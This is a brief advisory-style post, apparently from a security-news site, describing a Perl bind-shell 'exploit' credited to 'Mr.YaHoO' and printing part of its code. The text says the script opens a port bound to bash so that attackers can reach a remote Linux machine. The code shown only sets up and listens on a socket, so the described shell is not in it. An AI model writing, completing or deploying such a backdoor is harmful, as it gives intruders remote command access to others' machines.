The following exploit opens an arbitrary port and binds it to bash with arbitrary permissions, allowing attackers to gain access to remote Linux machine.
Credit:
The information has been provided by Mr.YaHoO.
socket(SERVER, PF_INET, SOCK_STREAM, $proto)
or die "socket:$!";
setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, pack("l", 1))
or die "setsockopt: $!";
bind(SERVER, sockaddr_in($port, INADDR_ANY))
or die "bind: $!";
listen(SERVER, SOMAXCONN) or die "listen: $!";